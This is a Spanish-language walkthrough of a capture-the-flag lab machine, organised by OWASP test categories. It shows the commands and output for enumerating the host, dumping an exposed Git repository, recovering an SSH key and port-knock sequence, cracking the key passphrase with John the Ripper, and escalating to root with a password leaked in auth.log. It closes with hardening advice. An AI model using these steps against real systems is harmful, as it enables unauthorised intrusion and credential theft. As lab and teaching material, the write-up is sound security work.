Laboratorio Guiado - 11-hit

Objetivo: Comprometer un sistema objetivo dentro de una red interna mediante técnicas de enumeración, **explotación de repositorios expuestos**, descubrimiento de puertos mediante port **knocking**, **crackeo de claves SSH** y escalada de privilegios, siguiendo las categorías del **OWASP Testing Guide v4**. (Enlace a la máquina).

---

1. OTG-INFO-001 – Fingerprinting de Red y Descubrimiento de Objetivos

El primer paso consiste en **descubrir la dirección IP de la máquina víctima** dentro de la red local. Para esto, se utiliza `arp-scan`, que permite enviar solicitudes ARP a todos los dispositivos conectados, identificando así sus direcciones IP y MAC, filtrando por el nombre del fabricante o identificador (en este caso PCS) y extrayendo únicamente la IP con awk.

```
❯ arp-scan --interface=wlo1 --localnet | grep PCS | awk '{print $1}'

192.168.1.53
```

El resultado confirma que la máquina objetivo tiene la dirección IP **192.168.1.53**.

---

2. OTG-INFO-002 – Enumeración de Puertos y Servicios

La enumeración de puertos es clave para descubrir servicios expuestos que puedan ser explotados.
Primero se realiza un escaneo completo de todos los puertos TCP usando Nmap con un escaneo SYN (**`-sS`**) y una tasa mínima alta (**`--min-rate 5000`**) para acelerar el proceso. La opción **`-n`** evita la resolución DNS y **`-Pn`** omite la detección de host.

```
❯ sudo nmap -p- -sS --min-rate 5000 -n -Pn -oG 01-allPorts 192.168.1.53

PORT   STATE SERVICE
80/tcp open  http
MAC Address: 08:00:27:07:1B:F1 (Oracle VirtualBox virtual NIC)
```

Se detecta que únicamente el puerto **80 (HTTP)** está abierto inicialmente.

Para obtener más detalles, se realiza un escaneo específico sobre el puerto 80 con detección de versión y scripts de Nmap (`-sCV`):

```
❯ nmap -sCV -p 80 -oN 02-targeted.txt 192.168.1.53

PORT   STATE SERVICE VERSION
80/tcp open  http    nginx 1.22.1
|_http-title: Site doesn't have a title (text/html).
```

```
|_http-server-header: nginx/1.22.1
| http-git:
|   192.168.1.53:80/.git/
|     Git repository found!
|     Repository description: Unnamed repository; edit this file
'description' to name the...
|_    Last commit message: Commit #5
```

Se identifica un servidor **nginx 1.22.1** con un **repositorio Git accesible** desde la ruta `/.git/`.

---

3. OTG-CONFIG-004 – Repositorios y Archivos de Configuración Expuestos

La exposición de un repositorio Git en un servidor web es un grave fallo de configuración, ya que permite descargar el código fuente y posiblemente credenciales o configuraciones internas.

Con **git-dumper** se descarga el repositorio de forma local:

```
❯ git-dumper "http://192.168.1.53/.git" ./git
```

Se listan los commits realizados:

```
❯ git log --oneline

2b5a747 (HEAD -> master) Commit #5
7dff168 Commit #4
a998093 Commit #3
0cf5be4 Commit #2
9ca5eed Commit #1
```

Posteriormente, se examinan todos los commits para buscar información sensible:

```
❯ git log --oneline | awk '{print $1}' | xargs git show
...
------BEGIN OPENSSH PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: DES-EDE3-CBC,3E2B3558346EF63A
...
------END OPENSSH PRIVATE KEY-----

...
diff --git a/knockd.conf b/knockd.conf
index 3036160..5ce5fff 100644
--- a/knockd.conf
+++ b/knockd.conf
@@ -1,8 +1,20 @@
```

```
 [options]
-       LogFile = /var/log/knockd.log
+       UseSyslog

 [openSSH]
-       sequence    = 65535,8888,54111
-       seq_timeout = 1
-       command     = /usr/sbin/service ssh start
```

Se obtiene una **clave privada SSH encriptada** y la secuencia de puertos para **port knocking** definida en `knockd.conf`.

---

4. OTG-AUTHN-002 – Mecanismos de Autenticación y Acceso

El **port knocking** es una técnica que oculta puertos hasta que se accede a ellos en una secuencia específica.
Con la información obtenida del repositorio, se ejecuta la secuencia para desbloquear el acceso al servicio SSH.

```
› knock -v 192.168.1.53 65535 8888 54111

hitting tcp 192.168.1.53:65535
hitting tcp 192.168.1.53:8888
hitting tcp 192.168.1.53:54111
```

Se verifica nuevamente con Nmap y se confirma que el puerto 22 ahora está disponible:

```
› sudo nmap -p- -sS --min-rate 5000 -n -Pn -oG 03-allPorts-knock
192.168.1.53

PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http
MAC Address: 08:00:27:07:1B:F1 (Oracle VirtualBox virtual NIC)
```

El servicio **SSH** ya se encuentra abierto.

---

5. OTG-AUTHN-004 – Fuerza Bruta y Recuperación de Contraseñas

La clave privada encontrada está protegida por un **passphrase**. Para descubrirla, se convierte al formato compatible con **John the Ripper** usando `ssh2john.py` y luego se aplica un ataque de diccionario con **rockyou.txt**.

```
❯ ssh2john.py id_rsa_charlie > hash


❯ john -w=/home/wh01s17/Documentos/wordlists/rockyou.txt hash

...
charlie1         (id_rsa_charlie)
...
```

Se recupera la contraseña **charlie1** y se establece conexión SSH con el usuario `charlie`:

```
❯ ssh charlie@192.168.1.53 -i id_rsa_charlie
Enter passphrase for key 'id_rsa_charlie': charlie1

charlie@hit:~$
```

Se obtiene acceso al sistema y la **primera flag**.

---

6. OTG-PRIV-001 – Escalada de Privilegios

Una vez dentro, se revisa la pertenencia a grupos para detectar permisos especiales.

```
charlie@hit:~$ id

uid=1000(charlie) gid=1000(charlie) grupos=1000(charlie),4(adm)
```

La pertenencia al grupo **adm** permite leer registros del sistema en `/var/log`.

Se listan los archivos accesibles:

```
charlie@hit:~$ find / -group adm 2>/dev/null

/var/log/nginx
/var/log/auth.log
/var/log/kern.log
/var/log/knockd.log
/var/log/cron.log
/var/log/syslog
/var/log/apt/term.log
/var/log/apt/term.log.1.gz
```

En `auth.log` se localiza una contraseña en un intento fallido de inicio de sesión:

```
charlie@hit:~$ cat /var/log/auth.log | grep password

...
2025-02-03T09:51:01.010590+01:00 hit sshd[701]: Failed password for
invalid user r00tP4zzw0rd from 192.168.1.10 port 45796 ssh2
```

```
...
```

Se utiliza esta contraseña para cambiar a usuario root:

```
charlie@hit:~$ su root
Contraseña: r00tP4zzw0rd

root@hit:/home/charlie#
```

Se obtiene la **flag final** con privilegios de superusuario.

---

7. Recomendaciones de Seguridad

OTG-INFO-002 – Servicios expuestos innecesariamente

- Restringir acceso a puertos no utilizados mediante `iptables`, `ufw` o `firewalld`.
- Auditar periódicamente los puertos expuestos con herramientas como `nmap` o `netstat`.

OTG-CONFIG-004 – Repositorios y archivos expuestos

- Evitar dejar carpetas `.git/` accesibles desde el servidor web.
- Implementar reglas en el servidor web para bloquear rutas sensibles (`.git`, `.svn`, `.env`, etc.).

OTG-AUTHN-004 – Credenciales y claves privadas

- No almacenar claves privadas en repositorios públicos o accesibles.
- Proteger claves SSH con contraseñas robustas y almacenamiento seguro.

OTG-PRIV-001 – Escalada de privilegios por pertenencia a grupos

- Limitar la pertenencia a grupos con privilegios especiales como `adm`.
- Configurar permisos de logs para que solo sean accesibles por `root`.

Revisión General del Sistema

- Habilitar monitoreo y registro de eventos con herramientas como `auditd`, `syslog` o `Wazuh`.
- Mantener actualizado el software del sistema y servicios expuestos.
- Implementar políticas de contraseñas seguras y autenticación de dos factores para accesos críticos.
- Restringir acceso SSH por IP o mediante `AllowUsers` en `sshd_config`.